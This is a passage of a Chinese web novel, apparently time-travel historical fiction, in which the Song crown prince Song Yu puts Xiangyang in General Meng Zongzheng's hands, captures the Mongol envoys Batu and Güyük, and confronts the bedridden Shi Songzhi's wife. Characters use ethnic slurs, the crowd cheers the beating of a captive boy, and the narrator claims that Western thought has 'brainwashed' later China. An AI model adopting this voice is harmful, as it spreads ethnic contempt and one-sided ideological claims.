宋宇看这余阶一副贱模样,白了他一眼,讥讽道“;余老幺,你这厮,变脸翻书似的,不作贪官,实在可惜你了。不过,你也忒得面皮厚,以后出去混,莫要与人说起,你是本太子的兄弟。”
哪知旁边孟英听宋宇叫他余阶,忙在旁插嘴道“;殿下,原来这人,就是你天天挂在嘴边上的,那个左膀右臂余伴读?”
语毕,孟英仔细打量着面前一副贱样子的余阶。只见这余阶一身绿衣绿裤绿帽。看起来,很是刺眼。
长相么,一看就是落榜的举子相。身材消瘦,单薄得可以。
见自己看来,他还装模作样的整了整衣冠,摆了个姿势,那样子,要多寒碜多寒碜。真没想到,就这相貌,太子竟然十分喜欢他,还天天挂在嘴边上。
余阶可不知道孟英心里怎么想的,但看那孟英一副怀疑的目光扫视自己,便对着旁边的宋宇说道“;殿下,小弟确实有些本事,但你也别天天挂在嘴上啊。看看,优秀的我,让这丫头,都看愣神了!“
宋宇见这余阶拿自己垫底,来解围。有些不高兴,正要拆穿他,讽刺他,却听旁边孟英解释道“;余伴读,你千万别误会。本姑娘向来是见了长的奇奇怪怪的东西,会禁不住多看几眼!“
‘噗嗤’宋宇再次笑了。看了看尴尬的余阶,宋宇边笑边说道“:这丫头向来是心直口快,余老幺,你可切莫见怪!“
三人就这样,在队伍前面边说边笑的功夫。已经穿过了襄阳城那一百五十余米宽的护城河。要说这襄阳,之所以是大宋的第一雄城,和这宽大的护城河,有着直接的关系。
一百余米的水面宽度,使得南宋能够在城战中动用水军迎敌。这使得任何北方来的铁骑,都会止步于这座集水战与城战于一身的雄城之下。
宋宇不禁想,有时候,很多事情是不能看表面现象的,就比如说这襄阳得防守方式。
如果宋宇没有亲眼见到,估计会武断地认为,这襄阳之所以是第一雄城,主要是因为它的城墙。如果是这样,那他宋宇一辈子都活在错误之中。
所以这人呐,千万别只看表面,只想当然,尤其是不能想当然的,看扁自己的先人。
想自己生活的那个后世,浮躁之人比比皆是。这些人常常出于各种目的,自以为是的解密,拆穿,甚至是鄙视侮辱自己的祖先,与祖先留下的思想。
归根到底,这群人就是为了哗众取宠,从中博取利益。自以为什么都懂,自以为智商超过了自己的祖先,自以为一厢情愿的自以为,就能胡言乱语了。
其实宋宇一直认为,元代之前,自己的祖先,做的都非常好。一直都让炎黄子孙,在各方面处于世界的顶端。
相反
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得,自己生活的那个后世,那个时常有人跳出来指责自己祖宗的后世,却是西方之学大兴,祖宗之学断绝。
宋宇有时候甚至觉得,那个后世,说白了,就是被西方思想完全殖民得世界,是个已经被西方文明文化,一体化以后的世界,可谓胜负已分。
可能有人会觉得宋宇这样想,很愚蠢。会认为,若不是抛弃了祖宗之学,国家永远不会赶英超美。
其实,如果真的要抛弃自己的民族精粹,才是自己的民族能够生存得条件。那不如让这个丢了灵魂,等待被其他民族思想占有的空壳子,彻底灭绝吧。
有人或许会说了,工业化以后的世界,物质供给更加快速充足。宋宇却想说,不反对工业化,因为祖宗也没反对过,我们只是想要活得更像中国人,有自己独特鲜明的民族文化罢了。
再者,古今中外,哪个国家没有穷人和富人?生在任何一个国家的底层家庭,你永远都会感到绝望。生在富裕家庭那你想怎么说随你喽!
边走边想,宋宇已经过了浮桥,率领着庞大的队伍,来到了北门内。只见北门内跪满了百姓,挡住了宋宇去路。
宋宇见此,知道这些百姓,怕是有什么话想说,便笑着开口问道“:襄阳百姓,我便是太子,特奉父皇旨意,督粮京湖。你们将这北门团团围住,阻我去路,是不是有话,要问本太子?“
这句话很管用,只见这些百姓立马跪地山呼“:襄阳全城老幼,恭迎太子殿下“喊毕,从人堆里,走出来几个衣着朴素的老人。
蹒跚地佝偻着身子,来到了宋宇驴骑前面,跪倒再次说道”;殿下,草民等,是来替襄阳百姓,**来了。“
宋宇见说,不敢托大,忙跳下了驴背,一把搀起了地上跪着的几个老人。面带笑意说道“;不知几位,为何事**?”
几个老人在宋宇的搀扶下,颤颤巍巍,站了起来,互相瞅了一眼。这才选出了一个代表,缓缓对宋宇说道“:太子殿下,我们几个,都是抱着必死的心思来的,因为我们几个要告的人,就是那当朝宰相史弥远的亲弟弟,史嵩之,史大人。不知道太子殿下您,敢不敢接我们几个将死之人得状子?”
“:你们既然知道,这史嵩之的哥哥,是那宰相史弥远,还义无反顾得要继续告状,本太子佩服你们的勇气。人活着,就是要活出这股子宁为玉碎不为瓦全的劲儿,让那些身居高位整日画饼的官老爷们看看,兔子急了,他也咬人。不过,恐怕你们要失望了,因为现在这史嵩之,史大人已经病入膏肓,只剩了半条人命。这次本太子回去,会将他一并带走。到时这襄阳,全都交给孟老将军管理,你们看可好?”宋宇一听是为这事,一脸释然的劝解几个老人道。
边劝,边唤过来了身后看管队伍的孟宗正。孟宗正见太子传唤,矫健的跳下马背,小跑着来到了宋宇跟前,精神的一抱拳,说道“;殿下有何事,尽管吩咐。”
第一百零六回 宗政守襄阳 初遇蒙古人
宋宇摆手笑了笑“;孟老将军,我与令子孟珙已然结拜,从今以后,你我便是一家人,何必如此客气?”
孟宗正见这太子,竟然当着全城百姓的面,跟自己拉关系,浑身不自然的一哆嗦,只觉两腿发软,眼冒金星。
显是被刺激到了。片刻之后,回过神来,跪地坚决的说道“;殿下,切莫在如此多人面前如此说,真是折煞老夫了。想我孟宗正,区区边关小将,焉敢与皇室攀亲戚?”
宋宇听了孟宗正话语,吸了吸鼻子,劝道“;既然孟老将军颇为在意这些俗礼,本殿下也不难为你。”
言罢,指了指身前的百姓说道“;其实是这样孟老将军,本殿下找你来,是想将这襄阳得百姓,全都托付给你,不知道孟老将军,愿不愿意接受?”
孟宗正再次被雷到了。别说他孟宗正,就连身旁跟随的杨妙珍,城内三位指挥使,还有那彭义斌与孟珙等人,听了这宋宇所言,也都是满脸惊愕之色。
要知道,这大宋自打杯酒释兵权之后,便形成了皇帝与士大夫共治天下的局面。
武人,在这种局面下,一直扮演的,都是棋子的作用,而士大夫才是真正的操盘者。
好比说,宋朝发生了战争,那么这场战争,将会是由士大夫集团,制定战略战策,武人在拿着士大夫们所制定的战略战策,机械的去打这场战争。
并且士大夫们为了保证武人,完全按照这个既定战略去打仗,宋朝从中央到地方,每个主要军事环节,都会有文官监管执行。所以自大宋朝建立伊始,就极少出现过武将独镇一方之事。
正因为旁边这些人都明白大宋的现状,所以现在宋宇让孟宗正这位声名显赫的武人,担当这大宋第一军事要地的管理者,才会吓坏了周围众人。对,就是吓坏了。
虽然孟宗正自打听了孟珙对这太子行事做派的讲述,就已经知道,这位太子会是大宋一个异数,但万万没想到,这太子,竟然尚未登基,就敢私自改了祖宗规矩。
这,简直太胡闹了。想到此,孟宗正坚决的推辞道“;殿下,老夫已年近六十,自认见过得怪事不少,但老夫万般没想到,殿下竟然如此乱来,此事要是传到了临安,只怕我等立马成了乱臣贼子。”
宋宇见孟宗正被吓得不轻,也没怪他胆小怕事。因为这孟宗正说的,都是事实。
眼见孟宗正不肯接受,宋宇有些后悔,要是提前和孟宗正商量一下此事就对了。
现在可好,当着这么多人,孟宗正不愿接受了,着实是难倒了宋宇。正在宋宇一脸尴尬,下不来台的时候,一旁孟英开口了“:爹,殿下乃是皇上钦点的巡检使,又是我大宋朝的太子,现在将这襄阳百姓都交给爹您,那是我孟家百年修来的福分,爹却为何推辞?难道您真想看着这襄阳得一城老幼,再被那史弥远派来的昂杂货们欺辱吗?”
得,看来这老孟家,都知道史弥远是个什么鸟。孟宗正见女儿没大没小,竟然教训起自己,立马脸红脖子粗的呵斥道“:你,你这丫头,看来爹平日真是宠坏了你。你可知道,我大宋朝,最最忌讳的,便是武人独当一面啊!”
哪知这孟宗正话音刚落,周围襄阳城的百姓却传来一阵哄懆声,渐渐的声音越来越大,就听越来越多的人喊道“;孟老将军,您可别不要我们啊,”
“:是啊,孟将军,若是朝廷再派来个史嵩之这样的官,只怕这襄阳,要成死城啦!”
“:孟老将军,您行行好,留下来,救救我们吧!”
慢慢的,这些声音越来越大,竟然喊到了一处去“;孟老将军,留下吧,救救我们吧。”
孟宗正跪在宋宇跟前,侧目看着这些在哭诉,在呐喊,在绝望边缘求救的百姓,已是老泪纵横。
而宋宇,看着这一幕,却并没有继续劝孟宗正的意思,只是一脸凝重的盯着孟宗正,仿佛此事,和他宋宇没有关系一般。
就这样,也不知孟宗正想了多久,才醒转过来,用衣袖哆哆嗦嗦得,擦了擦脸庞泪水,一脸正色的对宋宇说道“;殿下,老夫,愿意替这襄阳百姓做主。”
宋宇听了孟宗正这句话,长出一口气,知道孟宗正如此选择,肯定是下了很大决心。
见他终于接下了任命,宋宇笑着搀起了孟宗正,说道“:老将军,我知道,你是个明白人,怕有朝一日,我赵竑万一败给了史弥远,你孟家会成为乱臣贼子。其实老将军大可不必如此想,正所谓:
天地有正气,
杂然赋流形。
下则为河岳,
上则为日星。
皇路当清夷,
含和吐明庭。
时穷节乃现,
一一垂丹青。
老将军你,又何必在意一时之荣辱?“
“:好诗,想不到殿下竟然出口成章。这首诗,豪迈大气,真乃我辈的心意写照啊!“
宋宇一席话说完,孟宗正尚未说什么,却听旁边余阶一声赞叹传来。
宋宇被余阶吓了一跳,嗔怪道“:余老幺,没看本殿下正在深情的劝老将军么?这么严肃的场合,你这么咋咋呼呼得,真是扫了兴致。“
余阶被宋宇一通责怪,挠了挠头,知道自己失态了,忙不迭的道歉道“:殿下方才念的那首诗,实在是太妙了,小弟也是情不自禁。“
“:余兄弟,快给俺说说,殿下那首诗,到底是啥意思?俺咋一句没听懂?就觉得听了,浑身一股子蛮力没处使,只想揍人呢?“
彭义斌见余阶一直说这首诗好,很是好奇,拱进了人堆,憨声憨气的问余阶道。
‘:停停停!你们这帮人,能不能别捣乱了。咱这是正经场合,不是赏诗会。你们几个,要想听带劲儿的诗,本殿下以后天天念给你们听行吗?现在,请给本殿下一炷香的时间,好让本殿下将这些百姓与流民,都托付给老将军可好?“<
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br>宋宇彻底服了这帮兔崽子们了。这么正儿八经的场合,他们竟然能岔开话题,开始研究起诗词来了。
几个人看着怒气冲冲的宋宇,互相对视了一眼。都乖巧的止住了话头,不再言语。
宋宇见他们闭嘴,白了他们一眼,这才用手拉着孟宗正,并那几个跪在近前得老人。慢慢的向着周围一直跪在地上的百姓走去“;襄阳百姓们,都起来吧。以后啊,只要不是在衙门与皇宫见了本殿下,都不必下跪了,怪麻烦的。”
周围百姓见说,纷纷抬头站了起来,有些个凑得近前的,纷纷开口道“;殿下,孟老将军可是个好人啊,您把他留在襄阳,准没错!”
“:是啊是啊,孟老将军活脱脱的岳爷爷在世那。”
听着周围百姓得赞扬,孟宗正心里热乎乎的。忙抬手称谢。但眼神左右移动之时,却突然停在了一处。
宋宇正要转过头与孟宗正说话,却见孟宗正眼神突有异样,随着他的目光看去,就见那处人群之中,有一群彪形大汉,衣着与周围众人不同,颇像北地草原装束。
而且这群人目光闪烁,与周围百姓那单纯朴素的目光相比,多了丝狡黠阴狠之色。
宋宇见此,忙低声询问孟宗政道“;老将军,这群人,眼神狡黠,满身邪气,只怕不是什么善鸟。”
孟宗正点点头,有些不太确定的说道“:看这群人得衣着打扮,与老夫一年前所见得那几个蒙古人,倒是十分相像。只是不知,朝廷公文名言,禁止蒙古人入境,这两人,却是如何进的这襄阳?”
宋宇一听这孟宗正之言,一拍大腿“:哎呀,原来是蒙古人,快快来人,将那几个服饰装扮不同的蒙古人,抓起来,切莫让他们走了。”
身后杨妙珍,孟英,余阶,彭义斌等一众人,听了宋宇命令,也不细想,几乎是同时拔出了配剑兵器。迅速推开面前人群,围向了那群蒙古人。
哪知这群蒙古人见被包围,也不惊慌,不急不慢的从腰间抽出弯刀,围成了个圈,将两个十四五岁的少年,护在了当中,摆开了防御架势,只等彭义斌等人冲来。
而被护在中间的两个少年,脸色颇为平静,只听其中一个,对着另一个问道“:啊哈(哥哥),这些汉人,似是要对咱们动粗。”
另一少年同样平静的说道“:胡度(弟弟),莫慌,就这些冲过来得汉人,哪是咱们身边这些蒙古勇士的对手?而且啊哈也想亲自会一会这汉人吹的没边的武艺,到底是个什么样?”
俩人闲聊的档口,彭义斌等人已经冲到了近前,只见彭义斌也不多说话,挥拳便打向了其中一个手持弯刀得蒙古人。
那蒙古人眼见对方拳劲打来,赶忙一弯刀削了过去。彭义斌见此,不敢托大,收了拳头,转而从腰间摸出了钢刀。大喝一声“:奶奶个熊,敢还手?你**吧。”边喊,边深吸一口气,举刀劈了下去。
第一百零七回 力擒蒙古人 拔都和贵由
那蒙古人浑身肌肉,一看就不是弱敌。见彭义斌攻来,却是将手中弯刀横举,妄想接下这彭义斌的钢刀。但他显然托大了。
彭义斌运气后的力道,哪是这不懂武功得草原蛮子能力敌得?
彭义斌见这蛮子,竟然妄想横刀接下自己这卯足劲力得一击,是既好笑又生气,笑的是这蛮子真是不知自己几斤几两。
气的是,这蛮子似是瞧不起自己啊?
电光火石间,刀已然砸下,只听一连串巨响‘砰,哐啷郎。’定睛看时,蒙古人手中那把弯刀,已经被彭义斌震断。而那蒙古人,已经举着断成两截的弯刀,被彭义斌结果了性命。
彭义斌看这面前的蛮子死透,冷哼一声,一脸不削的抬起右脚,直接将它踢到了一旁.
环顾四周,就见身边杨妙真几人,也已经轻松制服了其他几个蒙古人。彭义斌收了钢刀,大摇大摆的走到那俩目瞪口呆的蒙古少年跟前,揪住其中一个小蛮子脖领子,提到了半空,而另一只手直接大巴掌扇了起来,边扇,嘴里边骂骂咧咧道“:奶奶个熊,想俺们几个,都是当世数一数二的好汉,你说你们几个蛮子,不跑也就算了,还装淡定,怎么着?是瞧不起俺们汉人?还是瞧不起俺们汉人的功夫?俺老彭,平素最不喜见你们这些个蛮子,那一副趾高气昂,藐视一切的眼神。今天算你们倒霉,俺可是奉了太子兄弟之命,特来教训教训你们这些个蛮子,以后让你们长长记性,别他奶奶个熊的狗眼看人低。”
彭义斌这一席驴唇不对马嘴的话语,竟然引起了共鸣。只听周围百姓纷纷拍手叫好,其中甚至有人叫喊道“:这扎髯大汉,打得好,真个给咱们汉人出了一口恶气!”
彭义斌听到了周围百姓夸赞,停了巴掌,挠着头,冲着周围百姓傻笑着说道“;俺平素最看不惯这些个畜生,想俺当初在山东时,但凡抓到了金狗,都会大巴掌伺候,没办法,这些东西,不打不会做人。”
彭义斌是打得爽了,而那被抓在半空中的小蛮子却被扇得哇哇直哭叫“;呜呜呜呜!嗷嗷嗷啊!疼**!啊哈!快救我!”
旁边那个被唤啊哈之人,一改方才那藐视一切,看空一切的装逼眼神,听到胡度叫喊,心急如焚,趁着旁边之人都将视线集中到了胡度身上,颤抖着将手伸进了袖筒内,摸住了藏在袖中的一柄草原弯匕,偷偷咽了口唾沫,猛然从袖中将**抽出,对着欺负自己胡度得彭义斌腰间刺去。
电光火石之间,眼见彭义斌要吃亏,就听一声娇喝传来“:小蛮孩!下手挺黑!真当我们都是瞎的不成?”
这说话之人,便是四娘子杨妙珍,只见杨妙珍边喊,边快速向着彭义斌方向移动,待站稳了身子,猛然右脚踢出,就听‘嗵’的一声闷响,那手持短匕的蒙古少年,直接被踢出去六七米。
若不是六七米外百姓挡住,估计能飞的更远。
再看杨妙珍,一脸鄙视的收了拳脚,不削得说道“:草蛮野人,不好生待在那边蛮野地,却偏偏喜欢往我大宋跑,妙珍这一脚,便帮你长长记性。”
“:咳恩。”正在这群人被百姓围在当中,大肆赞扬的时候,宋宇领着孟宗正,咳嗽一声,挤进了人群。
众人见是太子,纷纷拱手。
宋宇白了他们一眼,看了看现场被这群兔崽子撂倒一地的蒙古人,心道:想不到**不眨眼的蛮子,今日也有这般下场。话说他们杀汉人时都不知什么叫疼?今日反倒知道什么叫疼了。人性,真是难以捉摸啊。
想到这里,宋宇眼神复杂的说道“;他们不跑也不动,你们就先问清楚啊。没见过你们这样的,嘛都不问,上去把人撂倒,大脖子拐直接招呼。这,你们也太野蛮了。”语毕,宋宇走到了彭义斌身边,没好气得冲他摆摆手,示意他把手里那被打成猪头的小蛮子放下。
彭义斌见宋宇脸色难看,这才发觉自己做的有些过了。心里****的,赶忙双手托着,将手里的蛮子轻轻的放到了地上“:太子兄弟,其实也不怪俺们,当时您说的那般火急火燎,让俺们休要放跑了他们,您说,搁谁,他也会错意不是?再者,这些人不也抽出弯刀了吗?俺们若是不动手,准被伤到!”
得,彭义斌还有理了。看来不是一家人,不进一家门。宋宇这帮兄弟,和宋宇真是像的很,什么都能输,就是嘴上不能输。
宋宇两句话不到宰了枣阳知县,这帮兄弟则话都不说,直接大巴掌伺候蛮子。也不知道日后这群人掌了权,天下会是什么光景。
宋宇也实在懒得搭理彭义斌这浑人,转过头面带微笑,抚摸着那小蛮子肿了两圈得脸问道“:我是大宋国太子,哎呀,实在抱歉,我身边这些兄弟啊,不管干嘛,都没轻没重的,而且你们那,估计也是刺激到他们了,他们其实平素挺和蔼可亲的,但见到心里所恨之人,就立马转了性了。这恨的人,一是蛮子,二是贪官污吏,三是趾高气昂,目中无人得蛮子与贪官污吏。所以啊,这事也不能全怪他们,毕竟这三样,你们好像占了两样?所以现在伤到了各位,就是一场眼神引起的误会,还请你们莫要见怪。”
那小蛮子看着面前这金盔金甲,满脸微笑的宋宇,知道这条命算是保下了,至于宋宇说的什么怪不怪罪,那都是其次了。
再者说了,身边那些个护卫,可是草原上最勇猛的战士,这群人,能在一瞬间,就被他们放倒在地,就这,谁还敢在怪罪这些个煞神?
想到此,这小蛮子心有余呖的说道“:多谢大宋国太子,救命之嗯。“
看来这小蛮子,很识相,知道什么人可以碰瓷,什么人不可以碰。
宋宇看这小蛮子并没有怪罪自己等人的意思,拍了拍他的肩膀,领着他来到了被杨妙真一脚踹飞出去的,另一个小蛮子那边。
只见那小蛮子满身泥土,像条死狗一样,一动不动的趴卧在地上,宋宇见此,拉着另一个小蛮子的手,蹲到了他身旁,轻轻将他托起,用手‘**‘得,轻拍那蛮子的右脸“:诶!醒醒!
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**没有?没死睁眼。”
那蛮子许是被宋宇叫回了神,只听他哼唧几声,缓缓睁开了眼。对着旁边那被打肿了脸的小蛮子说道“:额嗯嗯嗯额,胡度,我是**,还是眼花了?怎的你,长胖了这许多?”
旁边那被唤作胡度得,一看自己啊哈没死,是哇哇大哭“;啊哈!还好你没死,不然我回去之后,怎么跟阿爸交代。”
宋宇见这俩蒙古小蛮子都没事,这才长出一口气,询问他二人道“:你们是如何进的襄阳来的?要知道,我大宋严令你蒙古人入境。”
两个小蛮子见这大宋太子,问起这些,互相对视了一眼,只听一个小蛮子回答宋宇道“;我们是京湖制置使,史嵩之史大人请来襄阳得,此前一直住在驿馆,今日本打算去拜访史大人,哪知走到半路,恰逢大宋太子殿下回城。这才出于好奇,来此一观,哪知!”两人说到此处,皆是一脸的苦逼相,似是受了莫大的委屈,又张不开嘴直言。
宋宇听了这俩人的解释,心中嘿嘿冷笑:有趣,想不到这俩人年纪这么小,竟然一肚子花花肠子。
说什么要去拜访史嵩之,这纯粹是放屁。想自己,前些时候在襄阳搞风搞雨,要说这襄阳百姓不全知道,那还情有可原,但要说这被史嵩之请来的蒙古使者不知道,那就是胡诌。
这俩人肯定是听到了什么风声,但是不敢当着自己的面讲出来罢了。而今日之所以来这城门处,恐怕就是在刻意等本殿下。话说余阶方才跟我讲,我出城的第二天,城内就传出了流言,会不会跟他们俩有什么关系?
想到此,宋宇眼珠一转,继续人畜无害的笑着问道“:那不知两位姓甚名谁,来自哪里,奉了何人之命来此?又是来此干甚?”
宋宇一口气提出了四个问题,简单明了,毫不拖泥带水。两个蒙古小蛮子再次对视了一眼,才见刚才说话那小蛮子再次答道“:我叫孛儿只斤贵由,他叫孛儿只斤拔都,我们兄弟两个,是奉了大蒙古汗国,成吉思汗的命令,前来结交大宋国。希望两国能够签订盟约,共同对付仇敌金国。”
宋宇听他二人如此说,肠子都悔青了:麻蛋,我宋宇也是多管闲事,救他俩干嘛?刚才让彭义斌他们,大脖子拐呼死他们多好?
现在可好,救了俩**魔王,别看这俩人现在身材矮小,小孩模样,一脸无害的相貌。
但是再过几年,等长的人模狗样了,立马就成了**不眨眼,**还舔骨头得畜生玩应。
拔都,贵由,一个是钦察汗国的创建者,一个是大蒙古汗国第三代大汗。拔都是继成吉思汗之后,第二个蒙古族杰出的西征军事统帅,这点毋庸置疑,正是他,率领着蒙古铁骑,横扫东欧与西亚。
相对于代表蒙古国显赫战争功纪得拔都,这位贵由,则是代表了蒙古汗国,自打成吉思汗死后,到忽必烈即位之前的宫斗史。没错,就是宫斗。这贵由,打仗尚可,玩心眼,真是比别人差了好几节。最后死的不明不白地。
第一百零八回 要找史嵩之 在看哪个人
宋宇暗自叹了口气,继续问道“;那不对啊,既然是来结交我大宋国,理应去那临安,可两位却在这襄阳,做起了制置使的贵客,这,实在说不过去啊?”
拔都贵由两兄弟,见这太子轻易拆穿了自己两人的敷衍之词,到底是年轻了些,脸上皆是有些害臊之色浮现,但也是眨眼即逝。
只见那年纪稍长些的拔都说道“:大宋国太子殿下,正如你所说,我二人被大宋边军,阻在了淮河之北。不过,史嵩之史大人,却派人将我兄弟二人,迎来了襄阳,至于为何?我二人也要见到史嵩之史大人才能知晓。”
宋宇听了他这说辞,心里浮起了一个邪恶的念头,那就是,这十四五岁的蒙古小屁孩,明着是让自己去问史嵩之,其实是敷衍自己。
除了敷衍自己,这二人,显然还想从自己口中得知史嵩之的现状,其实宋宇很少把人的心思往坏处想,但自打知道了他俩名字,宋宇就在心底,已经不再把他们视作小孩,而是将他们列入了歹毒,心狠,残忍,野蛮那一类人之中。
宋宇甚至想起了完颜守绪走之前说的,之前派往大宋和谈的使者,全都被驱赶,莫不是这群蒙古人和史嵩之搭上线了做的吧?
没办法,这成吉思汗时期的蒙古人在历史上,时常分化瓦解敌人,让敌人之间互相残杀,蒙古人则像是狼一样,等到猎物斗得两败俱伤,筋疲力尽的时候,伺机而动。
只见宋宇狡黠的一笑“;二位,实不相瞒,这史大人,忽染恶疾,已经卧病在床多日。不如这样,两位随我一同去看望史大人如何?”
拔都贵由听大宋太子邀请自己两人去见史嵩之,都显得十分犹豫。片刻后,只见年纪小的贵由吸了吸鼻子,询问年纪大些的拔都道“:啊哈,咱是去,还是不去?”
拔都机灵的眨么眨么眼“:既然是大宋国太子殿下邀请,岂能推辞?”
“:好,两位果然不愧是草原上的孩子,豪爽!”
宋宇夸赞二人一声,转头对着身后彭义斌等人说道“:彭兄弟,将这两位来自草原的客人,抬入史大人府中,本太子,要和他们好好谈谈人生。”
言罢,宋宇领着孟宗正,重新坐回了驴背上。
手拿马鞭,对着周围的百姓拱拱手说道“:诸位,都回吧。从今以后,只要本太子不死,这孟老将军,会永远留在襄阳。”
讲完,吩咐孟宗正,带领着身后那帮流民,前往城内四座军营安置。自己则领着其余兄弟,在襄阳百姓的热情注视下,奔着史嵩之府中走去。
等到宋宇领着一众兄弟,回到了史府门口,就见谢道清与王焕君,小小三个姑娘,早就先一步回到府中,此时换下了戎装,穿回了女装,打扮得十分漂亮,相携站在门口,冲着不急不慢走来的宋宇张望。
见有人等待,催促驴子快跑几步,来到了三人面前,却是坐在驴背上看着她们三个女子发呆。直像个傻子。
三个女子,见太子这呆傻模样,掩面咯咯咯直笑,互相对视一眼,一时都有些害臊,谁也不想先上前去搀宋宇下驴。似是在互相谦让。
就在这档口,一直跟在宋宇身后的孟英,孟女侠又开口了,只见他双腿一催胯下骏马,走到宋宇身旁,半开玩笑的说道“;殿下,这三位,都是太子妃?”
宋宇见说,慌忙转过脸“;嘘!小姑奶奶,莫要乱说,这三位都是本殿下的朋友!”
本来半开玩笑的孟英,就是见太子看着自己那几个太子妃发愣,想要出言提醒他,让他下马,毕竟周围都是人,你老在这郎情妾意的,多不好?
但这太子却一脸惊恐的告诉自己,这三个是自己的朋友。这...孟英立马想不通了。
难道这世上,还有不吃腥的猫?话说,能留在太子身边的女子,有几个是来和太子做那纯洁的朋友的?
虽然孟英自认年幼,但心眼却是不少,你想诓骗我,那可没门。
但本姑娘也懒得拆穿你,毕竟这几日来与太子你寸步不离,使得本姑娘知道了一件事,那就是你这位太子,既古怪,又喜欢骗人。问了也是白问。
想到此,孟英果断的跳下马,走到太子跟前,从驴背上扶下了他,也不待太子说话,直接拽着他胳膊,走到谢道清三人面前,笑着问太子道“:殿下,不知这三位姑娘是?”
宋宇被这丫头从马上拉下来的那一刻起,就有种被**了的感觉,碍于自己男子汉的威严,宋宇干脆心一横,做起了窝囊废。
现在这丫头劈头盖脸,问这谢道清三人怎么回事,宋宇又有种偷情被老婆撞破的感觉。
只见他松了松肩膀,摆脱了孟英这丫头有力的胳膊,这才自然了少许,随即解释道“;其实在枣阳你们也见过面,只不过她们三人都是戎装,又很少抛头露面,这才没让你注意到。丫头,这三位,都是本太子一路来结交得朋友,而且都是本太子的救命恩人,你可莫要开她们玩笑。”
语毕,宋宇指着谢道清三人,一一作了介绍。介绍完了三人,又转过头,介绍孟英“;清儿,焕君小妹,小小,这位小姑娘,乃是孟老将军的掌上明珠,听说临安繁华,是特意要跟本殿下,回去见识见识。这几日,我便将她,交给你们三人了。毕竟过几日咱们就要回临安了,这襄阳,还有好些事要安排,这丫头留在我身边,我也没时间照顾她。“
谢道清三人点了点头,应承了下来。宋宇见此,以为这丫头总算被甩开了,正要转过头去,吩咐众人进府。
却听孟英这丫头询问谢道清三人道“:三位姐姐,殿下说你们与他,只是普通朋友,是也不是?“
宋宇一听这话,直接浑身一哆嗦,赶忙回过头去,正赶上谢道清三人红着脸,羞涩的点了点头。
宋宇见此,偷偷抹了把汗,暗咒孟英这丫头,还真是什么都敢问。看来这几天对这丫头是太好了,惯坏了。
孟英看
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谢道清三人不好意思回答,并未想要住嘴,反倒是古灵精怪的转过头,询问宋宇道“:嘿嘿!殿下,你刚才看的那么入神,不知是看哪位姑娘呢?“
宋宇被孟英这突如其来的问题,整的满脸羞红,偷偷扫了一眼谢道清三人,竟发现他们三人全都目不转睛的盯着自己,看来,他们三个很在意这个问题的答案啊。
宋宇不禁暗道:谢道清和小小很好奇问题的答案也就算了,小妹王焕君凑什么热闹?
其实往深了想,古代不比后世,男女之间,很少说个爱字。但古人,尤其是古代女子,却多是痴情极深。
像是宋宇,前几日路过一个村落,新郎披红挂彩,牵着毛驴,驮着两袋米,便把新娘接回了家。简单,却能厮守一生。
他们的想法都很实际,就是嫁个相好的夫君,厮守一生便是。相比,后世的男女,整天情啊爱啊,闹腾的欢实,一结婚,准踏马闹别扭,吵架,甚至是离婚。这就是被浪漫主义西方思想,彻底洗脑的表现。
缺乏对人生本就平淡的深度认知,一味追求短暂的刺激,最后婚姻生活与脑中西方灌输的浪漫主义思想落差过大,最终导致婚姻崩溃。
只重一时的快感,不管后来的琐碎细节,须知道,人生哪有那么多精彩瞬间,人生说白了,就是由一个个无趣的琐碎瞬间串联成的一条条珠帘,太刺激了,这珠帘容易断掉。
此时宋宇看这三女的眼神,知道不给答复,很难摆脱他们。所幸敷衍道“:这几日,许是太累了,看到一处,就容易愣神。与三位姑娘无关。丫头莫要再在乱想了。“
四个女子听完宋宇解释,皆是面露不甘之色。尤其是孟英,小嘴立马噘起来了“;真没劲,殿下,多好的机会,你不珍惜。以后你再让本姑娘帮忙牵线,本姑娘也不搭理你了。“
言罢,孟英气冲冲的拉着一脸茫然的谢道清三人,快步向府内走去。
宋宇尴尬的擦了擦额头汗水,心想这辈子,谁娶了孟英这丫头,指定不省心。
长出一口气,这才对着周围众人吩咐道“:走,咱现在一同进府,先去拜会主人,史嵩之,史大人去。“
语毕,吩咐众人下了马,领着拔都与贵由,向着囚禁史嵩之那处走去。边走,边吩咐杨妙珍彭义斌等人,迅速带领两队护卫兵,与府内走时留下的山东忠义军进行换岗,毕竟杨妙真的军队,宋宇不好意思一直用。现在有了这群和自己出生入死过得兄弟兵,正好可以换下来忠义军,这样,宋宇也不必在继续亏欠杨妙珍人情了。
如此想着,宋宇已经领着众人,来到了史嵩之囚室门口。只见囚室门口,两名忠义军在守卫,余阶则上前两步,吩咐门口那俩忠义军打开了囚室的门,宋宇便在几人的簇拥下,走进了囚室。
一进囚室,宋宇立马被一股臭味灌鼻,忙捂着鼻子骂道“:嚯!你这孙子,真能拉啊!这床上都被你拉满了。”
第一百零九回 十万贯买妻 花魁的作用
原来是这史嵩之,由于不能行动,只能将屎尿,全都留在了床上。这家伙,半月下来,直把这屋子拉得臭气熏天。
宋宇见此,皱着眉头,询问那俩看管牢门的忠义军道“;你们也不将这屎尿弄出去,看看,把咱大宋国的栋梁,史嵩之史大人,都给祸祸成什么样了?”
俩人被宋宇质问,忙弯腰拱手道“;殿下,史大人十万贯买来的花魁夫人都不管接屎接尿,那可是人家明媒正娶,八抬大轿的亲媳妇。你说俺们这些个非亲非故的,干嘛要伺候他拉屎屙尿?”
宋宇细琢么这俩忠义军的话,心想也是啊。赶忙将头,扭到了史嵩之那十万贯娶来的花魁身上,就见这花魁,早已不复昔日光彩,用一张床单遮羞,颤抖着蜷缩在屋子角落里。
见宋宇看来,花魁浑身一哆嗦,眼看就要吓哭,可见宋宇,在这花魁心里,是有多恐怖。
而宋宇见这花魁完好无损,没有缺胳膊少腿的,就是有些狼狈,砸吧砸吧嘴,赞叹道“:哎呀,这史家的花魁,真是听话的贞洁烈妇啊。这么些日子,穿着迷人,一直守在此,竟然没让史大人动一个手指头。本太子非常佩服。啊!改日啊,得给你们发奖状。这奖状就叫,大宋好娘子,怎么样?”
也不知宋宇说的,花魁听懂没听懂,反正这花魁见宋宇对着自己开口说话了,是赶忙跪在地上,哆哆嗦嗦的求饶“:殿下,奴家到底犯了什么罪啊。求求你,放过我吧。”
宋宇面无表情的回答道“:放,是不可能了,至于你犯了什么罪,也简单,这条罪名就叫不小心嫁给史嵩之罪,史嵩之病倒了,又不小心跟着稀里糊涂倒霉罪。话说你倒是帮你相公接屎接尿啊?咱大宋的婆娘,在自己男人生病的时候,不都是这么过来的?”
